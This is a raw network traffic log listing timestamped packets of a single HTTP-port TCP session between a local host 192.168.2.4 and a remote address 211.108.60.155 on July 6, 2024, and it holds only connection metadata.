Jul 6, 2024 14:10:00.427038908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427069902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427073956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.427104950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.427339077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427350044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427360058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427375078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.427403927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.427433968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427470922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.427484989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427494049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427526951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.427560091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427568913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427601099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.427638054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427650928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427671909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.427690029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.427787066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427825928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427831888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.427835941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427860975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.427870035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.427882910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.427918911 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.428026915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.428065062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.428091049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.428127050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.428206921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.428216934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.428242922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.428256035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.617796898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.617814064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.617834091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.617856979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.617866039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.617867947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.617912054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.617985010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618025064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.618052006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618099928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.618105888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618149042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.618185997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618195057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618205070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618222952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.618246078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.618459940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618503094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.618506908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618518114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618541956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.618556023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.618607044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618617058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618627071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618643999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.618664980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.618776083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618788004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618820906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.618861914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618875027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.618910074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.619055033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619065046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619105101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.619143963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619153023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619185925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.619223118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619260073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619275093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.619292974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.619540930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619550943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619566917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619580030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.619584084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619595051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619596958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.619617939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.619632959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.619729996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619751930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619772911 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.619786978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.619836092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619853020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.619875908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.619894028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620059967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620102882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620105028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620111942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620121956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620136023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620148897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620167971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620177031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620214939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620549917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620559931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620594978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620635986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620671034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620677948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620685101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620718956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620719910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620727062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620748997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620754957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620758057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620784044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620799065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620826006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620862961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620867014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.620873928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.620907068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.621049881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621097088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.621129990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621139050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621170044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.621525049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621534109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621545076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621558905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621565104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.621571064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621587992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.621589899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621599913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621611118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.621629000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.621633053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621649027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621670008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.621692896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.621803999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621849060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.621882915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621912003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621920109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621925116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.621951103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.621958017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621994019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.621999025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.622025967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.622068882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.622077942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.622108936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.622253895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.622297049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.622322083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.622330904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.622340918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.622354984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.622364998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.622385025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.622437954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.622447014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.622476101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.622592926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.622601986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.622636080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.622706890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.622715950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.622749090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.622910023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.622953892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.622978926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.623013973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.812592030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.812623024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.812640905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.812663078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.812689066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.812696934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.812725067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.812726021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.812743902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.812757015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.812787056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.812951088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.812959909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.812968969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.812994957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.813018084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.813138962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.813185930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.813188076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.813196898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.813220978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.813230991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.813375950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.813421011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.813460112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.813473940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.813504934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.813585997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.813594103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.813630104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.813637018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.813663960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.813672066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.813694000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.813796997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.813805103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.813838005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.813999891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.814039946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.814054966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.814064026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.814071894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.814093113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.814116955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.814181089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.814191103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.814223051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.814426899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.814440966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.814450026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.814470053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.814493895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.814645052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.814687967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.814713001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.814723015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.814750910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.815006018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815047979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.815063000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815073013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815103054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.815166950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815198898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815202951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.815208912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815234900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.815244913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.815414906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815459013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.815464973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815473080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815498114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.815507889 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.815716982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815757990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.815778017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815785885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815814018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.815824032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.815905094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815946102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.815959930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815968990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.815994024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.816004992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.816020012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.816059113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.816061020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.816099882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.816378117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.816402912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.816411972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.816416979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.816442966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.816700935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.816742897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.816751957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.816761017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.816785097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.816797018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.816822052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.816863060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.816890955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.816931963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.816932917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.816967964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.817070961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.817114115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.817117929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.817122936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.817143917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.817157030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.817265034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.817307949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.817341089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.817349911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.817384958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.817538023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.817580938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.817584038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.817589045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.817611933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.817622900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.817673922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.817713976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.817744970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.817789078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.007033110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.007051945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.007061958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.007097960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.007141113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.007141113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.007175922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.007827044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.007848978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.007858038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.007874012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.007896900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.007951021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.007960081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.007966042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.007997990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008039951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008049011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008058071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.008083105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.008085966 CEST	80	49732	211.108.60.155	192.168.2.4
